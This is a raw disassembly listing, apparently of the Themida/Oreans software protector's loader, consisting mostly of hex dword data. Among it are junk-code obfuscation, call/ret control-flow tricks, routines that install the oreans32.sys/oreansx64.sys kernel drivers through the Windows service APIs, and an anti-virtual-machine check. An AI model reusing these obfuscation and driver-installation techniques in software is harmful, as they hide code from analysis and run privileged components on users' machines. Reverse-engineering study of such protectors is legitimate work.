11858D00h, 500612B3h, 0B334B5FFh, 95FF0612h dd 6102125h, 158DBD83h, 0F000610h, 0C84h, 34B5FF00h, 0FF0612B3h dd 12B34095h, 34B5FF06h, 0FF0612B3h, 10058D95h, 60C36106h dd 0B3388589h, 858D0612h, 612B334h, 9E858D50h, 500612B2h dd 168h, 4495FF80h, 6A0612B3h, 38858D04h, 500612B3h, 6A046Ah dd 0B318858Dh, 0FF500612h, 12B334B5h, 2595FF06h, 83061021h dd 10158DBDh, 840F0006h, 0Ch, 0B334B5FFh, 95FF0612h, 612B340h dd 0B334B5FFh, 95FF0612h, 610058Dh, 8960C361h, 12B33885h dd 34858D06h, 500612B3h, 0B29E858Dh, 68500612h, 80000001h dd 0B34495FFh, 46A0612h, 0B338858Dh, 6A500612h, 8D006A04h dd 12B32085h, 0B5FF5006h, 612B334h, 212595FFh, 0BD830610h dd 610158Dh, 0C840F00h, 0FF000000h, 12B334B5h, 4095FF06h dd 0FF0612B3h, 12B334B5h, 8D95FF06h, 61061005h, 858960C3h dd 612B338h, 0B334858Dh, 8D500612h, 12B29E85h, 1685006h dd 0FF800000h, 12B34495h, 8D046A06h, 12B33885h, 46A5006h dd 858D006Ah, 612B327h, 34B5FF50h, 0FF0612B3h, 10212595h dd 8DBD8306h, 61015h, 0C840Fh, 0B5FF0000h, 612B334h, 0B34095FFh dd 0B5FF0612h, 612B334h, 58D95FFh, 0C3610610h, 3885C760h dd 10612B3h, 8D000000h, 12B33485h, 858D5006h, 612B29Eh dd 26850h, 95FF8000h, 612B344h, 840FC00Bh, 0Fh, 0B33885C7h dd 612h, 4DE90000h, 6A000000h, 38858D04h, 500612B3h, 6A046Ah dd 0B2B2858Dh, 0FF500612h, 12B334B5h, 2595FF06h, 0B061021h dd 0F840FC0h, 0C7000000h, 12B33885h, 6, 0AE900h, 85C70000h dd 612B338h, 1, 0B334B5FFh, 95FF0612h, 610058Dh, 38858B61h dd 0C30612B3h, 38858960h, 8D0612B3h, 12B33485h, 858D5006h dd 612B29Eh, 16850h, 95FF8000h, 612B344h, 858D046Ah, 612B338h dd 6A046A50h, 0B2858D00h, 500612B2h, 0B334B5FFh, 95FF0612h dd 6102125h, 158DBD83h, 0F000610h, 0C84h, 34B5FF00h, 0FF0612B3h dd 12B34095h, 34B5FF06h, 0FF0612B3h, 10058D95h, 60C36106h dd 0B3388589h, 858D0612h, 612B334h, 9E858D50h, 500612B2h dd 168h, 4495FF80h, 6A0612B3h, 38858D04h, 500612B3h, 6A046Ah dd 0B2C4858Dh, 0FF500612h, 12B334B5h, 2595FF06h, 83061021h dd 10158DBDh, 840F0006h, 0Ch, 0B334B5FFh, 95FF0612h, 612B340h dd 0B334B5FFh, 95FF0612h, 610058Dh, 85C6C361h, 61023E5h dd 7B076852h, 0B5FFADE4h, 6102E61h, 192195FFh, 85890610h dd 612B344h, 23E585C6h, 68520610h, 902E00E5h, 2E61B5FFh dd 95FF0610h, 6101921h, 0B3408589h, 85C60612h, 61023E5h dd 12356852h, 0B5FFB9BFh, 6102E61h, 192195FFh, 85890610h dd 6102125h, 23E585C6h, 68520610h, 98781034h, 2E61B5FFh dd 95FF0610h, 6101921h, 58D8589h, 85C60610h, 61023E5h dd 0DBD46852h, 0B5FFC005h, 6102E61h, 192195FFh, 85890610h dd 6101451h, 14E8h, 13C85200h, 0EF2F45D5h, 0CDEE79FFh dd 0ABD4755Fh, 667826FCh, 0C3BF0FCBh, 81CB8B5Bh, 60C8C3h dd 0F88B6600h, 5957D233h, 811A34FFh, 0A79015CFh, 66565E28h dd 0D943D981h, 4FEE8159h, 8B5A3AE5h, 29C681FBh, 0E940BEEFh dd 11h, 0AE1FC84Eh, 0DEDF0BCh, 0D92B592h, 0F7972591h, 3FC681D2h dd 89196B2Bh, 81661334h, 0F5439C8h, 89h, 2EEA8100h, 0F56A739Fh dd 9F2AC281h, 0E8516A73h, 10h, 0E4B90DCAh, 633CF005h, 6A1DF768h dd 0B3DE9184h, 0FA815958h, 0FFFFA01Ch, 2D850Fh, 0E9600000h dd 10h, 0F35E6F3Fh, 2E070E8Ah, 0C9C01385h, 57C16D3Fh, 2BE961h dd 0AEE30000h, 2E065E78h, 0AF1CB016h, 0E81D7D8Dh, 66E319F0h dd 51E9C78Bh, 10FFFFFFh, 86B72A3Fh, 696636ABh, 36C9B988h dd 1D5DE1A4h, 99E908h, 622F0000h, 68636775h, 326B6365h dd 75622F00h, 65686367h, 2F006B63h, 63726F66h, 6E757265h dd 75622F00h, 65686367h, 75666B63h, 2F006C6Ch, 776F6873h dd 65646F63h, 68732F00h, 6F63776Fh, 326564h, 726C632Fh dd 642F0074h, 317369h, 6F68732Fh, 736E6977h, 636E6174h dd 672F0065h, 6C777465h, 74617473h, 2F007375h, 73676F6Ch dd 75746174h, 642F0073h, 73706D75h, 75746174h, 73h, 632F0000h dd 6B636568h, 746F7270h, 69746365h, 6E6Fh, 83000000h, 12BAEBBDh dd 840F0006h, 0Ah, 9585C7h, 10610h, 85C60000h, 61023E5h dd 0FF726847h, 3481C4DBh, 0B693FF24h, 99B5FF54h, 8D061014h dd 103A3285h, 0FFD0FF06h dd 80F88BD0h, 850F223Fh, 22h, 0AE22B047h, 0FFF9850Fh, 3F80FFFFh dd 18840F00h, 47000003h, 0F003F80h, 30E84h, 1EE900h, 3F800000h dd 840F00h, 80000003h, 850F203Fh, 6, 6E947h, 0E9470000h dd 0FFFFFFE2h, 0F003F80h, 585h, 2DDE900h, 1E90000h, 47000000h dd 0F203F80h, 0FFFFF684h, 3F80FFh, 5850Fh, 0C0E90000h dd 0E8000002h, 0Ah, 0FFFFCBE9h, 2B1E9FFh, 0B58D0000h, 612BA6Bh dd 225E8h, 0BD0300h, 830612BBh, 12BB00BDh, 840F0006h, 0Bh dd 158D85C7h, 10610h, 8DC30000h, 12BA76B5h, 1FCE806h, 0BD030000h dd 612BB00h, 0BB00BD83h, 0F000612h, 0B84h, 9585C700h, 1061000h dd 0C3000000h, 0BAEFB58Dh, 0D3E80612h, 3000001h, 12BB00BDh dd 0BD8306h, 612BBh, 0B840Fh, 85C70000h, 6100D39h, 1, 80B58DC3h dd 0E80612BAh, 1AAh, 0BB00BD03h, 0BD830612h, 612BB00h dd 0B840F00h, 0C7000000h, 10009585h, 106h, 0B58DC300h dd 612BA8Ah, 181E8h, 0BD0300h, 830612BBh, 12BB00BDh, 840F0006h dd 15h, 9585C7h, 10610h, 85C70000h, 610158Dh, 1, 98B58DC3h dd 0E80612BAh, 14Eh, 0BB00BD03h, 0BD830612h, 612BB00h dd 0A840F00h, 0C7000000h, 1015BD85h, 106h, 0A2B58D00h dd 0E80612BAh, 126h, 0BB00BD03h, 0BD830612h, 612BB00h dd 0A840F00h, 0C7000000h, 1015BD85h, 106h, 0ADB58D00h dd 0E80612BAh, 0FEh, 0BB00BD03h, 0BD830612h, 612BB00h dd 0A840F00h, 0C7000000h, 10234185h, 106h, 0B3B58D00h dd 0E80612BAh, 0D6h, 0BB00BD03h, 0BD830612h, 612BB00h dd 0A840F00h, 0C7000000h, 100BD185h, 106h, 0B9B58D00h dd 0E80612BAh, 0AEh, 0BB00BD03h, 0BD830612h, 612BB00h dd 0A840F00h, 0C7000000h, 1007DD85h, 106h, 0C7B58D00h dd 0E80612BAh, 86h, 0BB00BD03h, 0BD830612h, 612BB00h, 0A840F00h dd 0C7000000h, 102F3D85h, 106h, 0D4B58D00h, 0E80612BAh dd 5Eh, 0BB00BD03h, 0BD830612h, 612BB00h, 0A840F00h, 0C7000000h dd 102D6585h, 106h, 0DFB58D00h, 0E80612BAh, 36h, 0BB00BD03h dd 0BD830612h, 612BB00h, 0A840F00h, 0C7000000h, 102E6D85h dd 106h, 1E900h, 80470000h, 840F203Fh, 9, 0F003F80h, 0FFFFED85h dd 0B960C3FFh, 1, 19E9DE8Bh, 80000000h, 850F003Fh, 2, 178AC92Bh dd 840F1638h, 2, 4746C92Bh, 0F003E80h, 884h, 0FC90B00h dd 0FFFFD685h, 0FC90BFFh, 2184h, 3F8000h, 9840Fh, 3F800000h dd 0A850F20h, 0B9000000h, 1, 5E9h, 0B900h, 0C90B0000h dd 0D840Fh, 0F32B0000h, 0BB00B589h, 0AE90612h, 0C7000000h dd 12BB0085h, 6, 0B8C36100h, 0 ; --------------------------------------------------------------------------- or eax, eax jz loc_5772F6 mov dword ptr [ebp+61015BDh], 0 loc_5772F6: ; CODE XREF: Themida_:005772E6j mov ecx, eax jmp loc_57750B ; --------------------------------------------------------------------------- a3cannotWriteOr db '3Cannot write oreans.vxd',0Ah db 0Dh,'Make sure that this file is not being used by another program.',0 align 4 dd 67h dup(0) dd 724F5C00h, 736E6165h, 6478762Eh, 2 dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- loc_57750B: ; CODE XREF: Themida_:005772F8j jmp loc_5775FF ; --------------------------------------------------------------------------- mov byte ptr [ebp+61023E5h], 47h push 0E3E45B86h push dword ptr [ebp+6101499h] lea eax, [ebp+6103A32h] call eax push 104h lea ebx, [ebp+6103385h] push ebx call eax push eax lea esi, [ebp+612C08Ah] mov edi, esi xor al, al loc_577543: ; CODE XREF: Themida_:00577544j scasb jnz loc_577543 sub edi, esi mov ecx, edi pop eax mov edi, ebx add edi, eax rep movsb mov byte ptr [ebp+61023E5h], 43h push 0BC8E6EFCh push dword ptr [ebp+6101499h] lea eax, [ebp+6103A32h] call eax lea esi, [ebp+6103385h] push 0 push 80h push 2 push 0 push 0 push 0C0000000h push esi call eax mov ebx, eax mov byte ptr [ebp+61023E5h], 57h push 0A69BEE56h push dword ptr [ebp+6101499h] lea eax, [ebp+6103A32h] call eax lea edi, [ebp+61031BDh] lea ecx, [ebp+612C1B0h] push 0 push edi push 37D0h push ecx push ebx call eax test eax, eax jnz loc_5775E1 lea esi, [ebp+612BE92h] lea eax, [ebp+612AB5Eh] call eax lea ecx, [ebp+61073A3h] mov eax, 0 jmp ecx ; --------------------------------------------------------------------------- loc_5775E1: ; CODE XREF: Themida_:005775C0j mov byte ptr [ebp+61023E5h], 43h push 0C0764AA7h push dword ptr [ebp+6101499h] lea eax, [ebp+6103A32h] call eax push ebx call eax retn ; --------------------------------------------------------------------------- loc_5775FF: ; CODE XREF: Themida_:loc_57750Bj mov ecx, 37D0h call $+5 pop eax add eax, 0Eh mov [eax], ecx jmp loc_577616 ; --------------------------------------------------------------------------- mov eax, ebx loc_577616: ; CODE XREF: Themida_:0057760Fj jmp loc_57ADEB ; --------------------------------------------------------------------------- db 4Dh dd 300905Ah, 4000000h, 0FF000000h, 0B80000FFh, 0 dd 40000000h, 8 dup(0) dd 0B0000000h, 0E000000h, 0EBA1Fh, 21CD09B4h, 0CD4C01B8h dd 69685421h, 72702073h, 6172676Fh, 6163206Dh, 746F6E6Eh dd 20656220h, 206E7572h, 44206E69h, 6D20534Fh, 2E65646Fh dd 240A0D0Dh, 0 dd 5D000000h, 19DB1D17h, 2 dup(19887376h), 0E5887376h dd 18886156h, 19887376h, 18887376h, 52887376h, 19686369h dd 887376h, 0 dd 4C000000h db 45h byte_5776CD db 3 dup(0) ; DATA XREF: Themida_:0054C1A8o dd 2000000h, 400h, 0 dd 14000380h, 5 dup(0) dd 0C0000002h, 90000001h, 0 dd 7E000000h, 0 dd 0C4000000h, 1000000h, 0DC000000h, 3 dup(0) dd 2C000000h, 38000001h, 1, 0 dd 42000000h, 96000001h, 0D2000001h, 1, 0D2000000h, 1 dd 0 dd 14000010h, 0C0000000h, 10000037h, 0Dh dup(0) dd 0C0040000h, 27h, 45000000h, 1000020h, 14000000h, 4C000000h dd 444F43h, 100h, 200h, 300h, 400h, 500h, 600h, 700h, 800h dd 900h, 0A00h, 0B00h, 0C00h, 0D00h, 0E00h, 0F00h, 1000h dd 1100h, 1200h, 1300h, 8001400h, 4F525058h, 44585654h dd 1000000h, 3000103h, 2 dup(0) dd 13h dup(700h), 3C00h, 18000700h, 27600100h, 1AD0007h dd 7005001h, 1019100h, 27279Bh, 276F0106h, 17D0179h, 1850181h dd 18D0189h, 1750007h, 7279501h, 1017100h, 72798h, 7101016Bh dd 27h, 16Ah dup(0) db 2 dup(0) word_577E4A dw 0 ; DATA XREF: sub_55598B+1Do dd 1F5h dup(0) dd 1000004h, 58000000h, 544F5250h, 445856h, 800000h, 8 dup(0) dd 76000000h, 50507265h, 31000000h, 32527376h, 33527376h dd 527376h, 9C3h dup(0) dd 83000000h, 0F8831BE8h, 0FF077309h, 8524h, 0C3F80000h dd 9 dup(0) ; --------------------------------------------------------------------------- xor eax, eax retn ; --------------------------------------------------------------------------- xor eax, eax retn ; --------------------------------------------------------------------------- cmp dword ptr [esi+0Ch], 0 jnz short loc_57ADC0 xor eax, eax jmp short locret_57ADDA ; --------------------------------------------------------------------------- loc_57ADC0: ; CODE XREF: Themida_:0057ADBAj cmp dword ptr [esi+0Ch], 1 jnz short locret_57ADDA lea eax, large ds:0 mov edi, [esi+18h] mov [edi], eax mov dword ptr [esi+20h], 4 xor eax, eax locret_57ADDA: ; CODE XREF: Themida_:0057ADBEj ; Themida_:0057ADC4j retn ; --------------------------------------------------------------------------- db 0Ch aXprotvxd_ddb db 'XPROTVXD_DDB',0 db 2 dup(0) ; --------------------------------------------------------------------------- loc_57ADEB: ; CODE XREF: Themida_:loc_577616j call sub_57ADFF xchg eax, ebp pop ebp sub [ebp-7Fh], edi pop edi fldpi sub [ecx+esi*8+4Bh], dh push es mov cl, 7Ch ; =============== S U B R O U T I N E ======================================= sub_57ADFF proc near ; CODE XREF: Themida_:loc_57ADEBp or [ebp+6102999h], edx pop ebx add ebx, 5DF8h mov [ebp+6100589h], ebx mov edx, 28428E95h sub edx, 28427735h loc_57AE1D: ; CODE XREF: sub_57ADFF+61j push dword ptr [ebx] mov si, 8AA7h pop eax add ch, 2Eh add eax, 1AC8F1BBh cmc xor eax, 6FEA52Fh mov ecx, 1515FF6Ah add eax, 7C286305h push ecx mov edi, [ebp+610283Dh] pop edi push eax xor edi, [ebp+61008B5h] pop dword ptr [ebx] mov [ebp+6100E49h], ecx sub ebx, 4 or [ebp+6101471h], edi dec edx jnz loc_57AE1D loc_57AE66: ; DATA XREF: Themida_:0054BDF0o ; Themida_:0054CAF8o mov [ebp+6102AFDh], edx jmp loc_57BF28 ; --------------------------------------------------------------------------- db 41h, 44h, 56h dd 33495041h, 4C442E32h, 704F004Ch, 43536E65h, 616E614Dh dd 41726567h, 65724300h, 53657461h, 69767265h, 416563h dd 72617453h, 72655374h, 65636976h, 65470041h, 74614E74h dd 53657669h, 65747379h, 666E496Dh, 704F006Fh, 65536E65h dd 63697672h, 44004165h, 74656C65h, 72655365h, 65636976h dd 6F6C4300h, 65536573h, 63697672h, 6E614865h, 656C64h dd 746E6F43h, 536C6F72h, 69767265h, 6563h, 7 dup(0) dd 6F000000h, 6E616572h, 2E323373h, 737973h, 2 dup(0) dd 6165726Fh, 3678736Eh, 79732E34h, 73h, 0 dd 726F0000h, 736E6165h, 5C003233h, 6F5C2E5Ch, 6E616572h dd 323373h, 5C2E5C5Ch, 626F6C47h, 6F5C6C61h, 6E616572h dd 323373h, 6165726Fh, 3678736Eh, 5C5C0034h, 6C475C2Eh dd 6C61626Fh, 65726F5Ch, 78736E61h, 3436h, 41h dup(0) dd 53000000h, 45545359h, 4F4F524Dh, 73250054h, 7379735Ch dd 336D6574h, 72645C32h, 72657669h, 73255C73h, 5C732500h dd 77737973h, 3436776Fh, 6972645Ch, 73726576h, 73255Ch dd 735C7325h, 65747379h, 5C32336Dh, 76697264h, 5C737265h dd 6165726Fh, 3233736Eh, 7379732Eh, 49h dup(0) dd 61433300h, 746F6E6Eh, 64705520h, 20657461h, 6165726Fh dd 732E736Eh, 64207379h, 65766972h, 50202E72h, 7361656Ch dd 6D202C65h, 20656B61h, 65727573h, 61687420h, 6F792074h dd 61682075h, 0D0A6576h, 696D6461h, 7473696Eh, 6F746172h dd 20732772h, 6D726570h, 20737469h, 20656874h, 73726966h dd 69742074h, 7420656Dh, 20746168h, 20756F79h, 20657261h dd 6E696F67h, 6F742067h, 6E757220h, 69687420h, 72702073h dd 6172676Fh, 2E6Dh, 59h dup(0) dd 61433300h, 746F6E6Eh, 65706F20h, 726F206Eh, 736E6165h dd 6478762Eh, 69726420h, 2E726576h, 6B614D20h, 75732065h dd 74206572h, 20746168h, 6165726Fh, 762E736Eh, 0D0A6478h dd 6E207369h, 6F20746Fh, 206E6570h, 61207962h, 68746F6Eh dd 70207265h, 72676F72h, 2E6D61h, 67h dup(0) dd 65533300h, 65727563h, 69676E45h, 6420656Eh, 65766972h dd 61632072h, 746F6E6Eh, 20656220h, 61647075h, 20646574h dd 61636562h, 20657375h, 72656874h, 72612065h, 6F732065h dd 7020656Dh, 72676F72h, 20736D61h, 6E697375h, 690D0A67h dd 59202E74h, 6E20756Fh, 20646565h, 63206F74h, 65736F6Ch dd 6F687420h, 70206573h, 72676F72h, 20736D61h, 7220726Fh dd 61747365h, 79207472h, 2072756Fh, 706D6F63h, 72657475h dd 520D0A2Eh, 61747365h, 6E207472h, 3F776Fh, 0D9h dup(0) dd 2E5C5C00h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0) dd 73250000h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0) dd 70580000h, 45746F72h, 746E6576h, 0Bh dup(0) dd 53655300h, 64747568h, 506E776Fh, 69766972h, 6567656Ch dd 0 dd 65724300h, 45657461h, 746E6576h, 49504120h, 72724520h dd 7720726Fh, 656C6968h, 74786520h, 74636172h, 206E6F69h dd 20656874h, 76697264h, 47007265h, 6E457465h, 6F726976h dd 6E656D6Eh, 72615674h, 6C626169h, 50412065h, 72452049h dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h dd 65687420h, 69726420h, 726576h, 6E65704Fh, 614D4353h dd 6567616Eh, 50412072h, 72452049h, 20726F72h, 6C696877h dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h dd 726576h, 61657243h, 65536574h, 63697672h, 50412065h dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h dd 6E6F6974h, 65687420h, 69726420h, 726576h, 736F6C43h dd 72655365h, 65636976h, 646E6148h, 4120656Ch, 45204950h dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 7265536Eh dd 65636976h, 49504120h, 72724520h, 7720726Fh, 656C6968h dd 74786520h, 74636172h, 206E6F69h, 20656874h, 76697264h dd 53007265h, 74726174h, 76726553h, 20656369h, 20495041h dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h dd 74206E6Fh, 64206568h, 65766972h, 50410072h, 65204349h dd 726F7272h, 6143203Ah, 746F6E6Eh, 6E696620h, 72502064h dd 7365636Fh, 73726F73h, 6E6F4320h, 6C6F7274h, 6F6C4220h dd 2E736B63h, 656C5020h, 2C657361h, 6F630D0Ah, 6361746Eh dd 6E692074h, 6F406F66h, 6E616572h, 6F632E73h, 6F66206Dh dd 68742072h, 65207369h, 726F7272h, 0 dd 10400h, 6F533300h, 2C797272h, 69687420h, 70612073h dd 63696C70h, 6F697461h, 6163206Eh, 746F6E6Eh, 6E757220h dd 646E7520h, 61207265h, 72695620h, 6C617574h, 63614D20h dd 656E6968h, 70h dup(0) dd 100000h, 1000000h, 0FEFFFF00h, 17Fh, 100h, 24A00h, 1000000h dd 8000F00h db 4, 0 word_57BE82 dw 94h ; DATA XREF: Themida_:0054D2D8o ; Themida_:0054DCF0o dd 50000h, 10000h, 0A280000h, 20000h, 21h dup(0) dd 6F530000h, 61777466h, 575C6572h, 656E69h ; --------------------------------------------------------------------------- loc_57BF28: ; CODE XREF: sub_57ADFF+6Dj mov eax, esp sbb ecx, 58841574h mov [ebp+6100849h], eax mov edi, [ebp+6100D8Dh] mov eax, eax call sub_57BF48 xor eax, 0FB609246h sub_57ADFF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_57BF48 proc near ; CODE XREF: sub_57ADFF+113Fp mov cx, dx pop ecx cmp dword ptr [ebp+610158Dh], 0 jnz short loc_57BF5E cmp dword ptr [ebp+6100095h], 0 jz short loc_57BF77 loc_57BF5E: ; CODE XREF: sub_57BF48+Bj push eax push ebx mov eax, eax mov eax, 43Dh mov [ebp+6100E65h], eax lea ebx, [ebp+612B815h] call ebx pop ebx pop eax loc_57BF77: ; CODE XREF: sub_57BF48+14j cmp dword ptr [ebp+6100095h], 0 jz short loc_57BF97 push eax push ebx mov eax, 43Dh mov [ebp+6100E65h], eax lea ebx, [ebp+612B504h] call ebx pop ebx pop eax loc_57BF97: ; CODE XREF: sub_57BF48+36j add [ebp+61005BDh], eax push 0 push edx call sub_57BFA8 and [edx-3Dh], bl sub_57BF48 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_57BFA8 proc near ; CODE XREF: sub_57BF48+58p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_57BFA8 endp ; --------------------------------------------------------------------------- dd 8B33C57Fh, 5E9C0h, 9F700000h, 8BB5D6D7h, 55006AC0h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 5E9923A2h, 2D958B60h, 5706101Eh, 335D8D8Bh, 615F0610h dd 83FABF0Fh, 10158DBDh, 9750006h, 95BD83h, 74000610h dd 8B535013h, 0B8C0h, 9D8D0000h, 612B6B7h, 585BD3FFh, 95BD83h dd 74000610h, 0B8535011h, 0 dd 0B5689D8Dh, 0D3FF0612h, 0F60585Bh, 138Ah, 0EE900h, 4FB70000h dd 4B546F15h, 798BFA5Bh, 0CBBECAE2h, 61FABF0Fh, 6840Fh dd 0BD8B0000h, 6100585h, 6660C08Bh, 8166DA8Bh, 6189C6CAh dd 0FC60C08Bh, 0D8ECBA66h, 0D68B6661h, 158DBD83h, 75000610h dd 95BD8309h, 61000h, 53501374h, 0B8C08Bh, 8D000000h, 12B5E99Dh dd 5BD3FF06h, 95BD8358h, 61000h, 53501174h, 0B8h, 369D8D00h dd 0FF0612B5h, 89585BD3h, 100BF1BDh, 0C1B50106h, 8B061008h dd 0E9C08BC8h, 9, 5EADFB32h, 0CCA0DC21h, 83C08B1Bh, 10158DBDh dd 9750006h, 95BD83h, 74000610h, 8B535013h, 0B8C0h, 9D8D0000h dd 612B650h, 585BD3FFh, 95BD83h, 74000610h, 0B8535011h dd 0 ; --------------------------------------------------------------------------- lea ebx, [ebp+612B54Fh] call ebx pop ebx pop eax push 0 push eax call sub_57C125 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57C125 proc near ; CODE XREF: Themida_:0057C11Dp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_57C125 endp ; --------------------------------------------------------------------------- dec ecx sub ecx, [ebp+6100DE1h] mov [ebp+61021B1h], ebx mov [ebp+6102179h], ebx mov eax, eax pusha mov [ebp+61008B1h], esi mov [ebp+6102F05h], ecx popa mov eax, eax push ebx jmp loc_57C166 ; --------------------------------------------------------------------------- test eax, 4687E86Ah pop esp loc_57C166: ; CODE XREF: Themida_:0057C15Bj pop edi cmp dword ptr [ebp+610158Dh], 0 jnz short loc_57C179 cmp dword ptr [ebp+6100095h], 0 jz short loc_57C18C loc_57C179: ; CODE XREF: Themida_:0057C16Ej push eax push ebx mov eax, eax mov eax, 0 lea ebx, [ebp+612B582h] call ebx pop ebx pop eax loc_57C18C: ; CODE XREF: Themida_:0057C177j mov ecx, edi push 0 push eax call sub_57C199 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57C199 proc near ; CODE XREF: Themida_:0057C191p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_57C199 endp ; --------------------------------------------------------------------------- db 63h, 0Dh, 38h ; --------------------------------------------------------------------------- pop esp push edi add edi, 0B98B6E5h pop edx xor [ebp+6100985h], ebx sub [ebp+610218Dh], ebx mov eax, eax jmp loc_57C1CF ; --------------------------------------------------------------------------- mov esp, 73FA7384h adc ch, dl loc_57C1CF: ; CODE XREF: Themida_:0057C1C3j mov eax, eax add edx, 970B812h cmp dword ptr [ebp+610158Dh], 0 jnz short loc_57C1E9 cmp dword ptr [ebp+6100095h], 0 jz short loc_57C202 loc_57C1E9: ; CODE XREF: Themida_:0057C1DEj push eax push ebx mov eax, eax mov eax, 7D0h mov [ebp+6100E65h], eax lea ebx, [ebp+612B815h] call ebx pop ebx pop eax loc_57C202: ; CODE XREF: Themida_:0057C1E7j cmp dword ptr [ebp+6100095h], 0 jz short loc_57C222 push eax push ebx mov eax, 7D0h mov [ebp+6100E65h], eax lea ebx, [ebp+612B504h] call ebx pop ebx pop eax loc_57C222: ; CODE XREF: Themida_:0057C209j push 0 push eax call sub_57C22D and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57C22D proc near ; CODE XREF: Themida_:0057C225p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_57C22D endp ; --------------------------------------------------------------------------- and ecx, [ebp+11h] mov edx, edi mov [ebp+61006F5h], edx mov eax, eax or [ebp+610168Dh], ebx jg loc_57C259 movzx edx, ax loc_57C259: ; CODE XREF: Themida_:0057C250j mov byte ptr [ebp+61023E5h], 53h jmp loc_57C272 ; --------------------------------------------------------------------------- db 98h, 0A7h, 4Ah dd 46A30B33h, 9F296F60h db 16h, 77h ; --------------------------------------------------------------------------- loc_57C272: ; CODE XREF: Themida_:0057C260j push 99395F90h pusha pusha mov esi, [ebp+6102DADh] mov edx, esi popa jb loc_57C28E add eax, [ebp+6100585h] loc_57C28E: ; CODE XREF: Themida_:0057C282j popa push dword ptr [ebp+6101499h] mov [ebp+61023C1h], esi lea eax, [ebp+6103A32h] or dh, 35h call eax or dx, 4DA8h mov [ebp+6102DB9h], eax mov byte ptr [ebp+61023E5h], 57h push 0 push ecx call sub_57C2C3 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57C2C3 proc near ; CODE XREF: Themida_:0057C2BBp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_57C2C3 endp ; --------------------------------------------------------------------------- and eax, 0A415E232h clc push 90045206h jmp loc_57C2EE ; --------------------------------------------------------------------------- db 0ACh dd 28FF18A2h, 25016518h db 87h, 3Dh ; --------------------------------------------------------------------------- loc_57C2EE: ; CODE XREF: Themida_:0057C2DEj push dword ptr [ebp+6101499h] mov [ebp+6103075h], edx lea eax, [ebp+6103A32h] add [ebp+6100C79h], eax call eax push 0 push ecx call sub_57C313 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57C313 proc near ; CODE XREF: Themida_:0057C30Bp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_57C313 endp ; --------------------------------------------------------------------------- db 3Fh dd 5C36B1E0h, 11E8h, 0DCA48300h, 0EF5BFE15h, 9585A06Bh dd 89187CBEh, 0B9669F0Fh, 8959FF5Eh, 10061585h, 0E585C606h dd 43061023h, 12CDBD29h, 28680610h, 0F9BC9070h, 1499B5FFh dd 85310610h, 6100471h, 3A32858Dh, 6A0610h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 8CEFE6C3h dd 0C9040411h, 0D0FF13ABh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 8BC35343h, 0C534E562h, 0FFD125Ah, 482h dd 0F1B96600h, 68A0F20h, 89000000h, 101C298Dh, 0C9858906h dd 6A06102Eh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 0E673C350h, 89FCA532h, 1023299Dh dd 0E585C606h, 4C061023h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 0C7C35646h, 0A9B52360h, 81061009h, 7F54DEDBh dd 68F96146h, 0D9DA1CE9h, 0DE8h, 0B7515600h, 662F2F7h dd 5F99C23Ah, 0B70FC6E1h, 0B5FF5FFAh, 6101499h, 21A5B531h dd 858D0610h, 6103A32h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 0B8C35545h, 0FFD78B66h, 56006AD0h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 4DB460Ch, 0C648F8B6h, 69958B3Eh, 8906100Ch, 1015DD85h dd 0F1958906h, 0C6061007h, 1023E585h, 6A4606h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 0ED0C7DC3h, 19159589h, 0B5890610h, 6102D51h, 0DE061468h dd 0E58D8BBAh, 0FF061004h, 101499B5h, 52006A06h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 0A5408164h, 4104BC42h, 858DCA7Fh, 6103A32h, 3780B966h dd 5BEF8166h, 6AD0FF65h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 0B297C357h, 663704BAh dd 8589FE8Bh, 61018CDh, 2AE9BD8Bh, 85C60610h, 61023E5h dd 0F88B6647h, 0FB5E268h, 0FBB70F8Ah, 1499B5FFh, 0BF660610h dd 858DB646h, 6103A32h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 0A3C35040h, 76F71B15h, 7D653C72h, 0DB88F281h dd 8D896A45h, 61016D1h, 8589D0FFh, 6100D85h, 1118D8Bh dd 958B0610h, 6101E31h, 23E585C6h, 0F470610h, 0F368C9BFh dd 6683D0B5h, 2D66C981h, 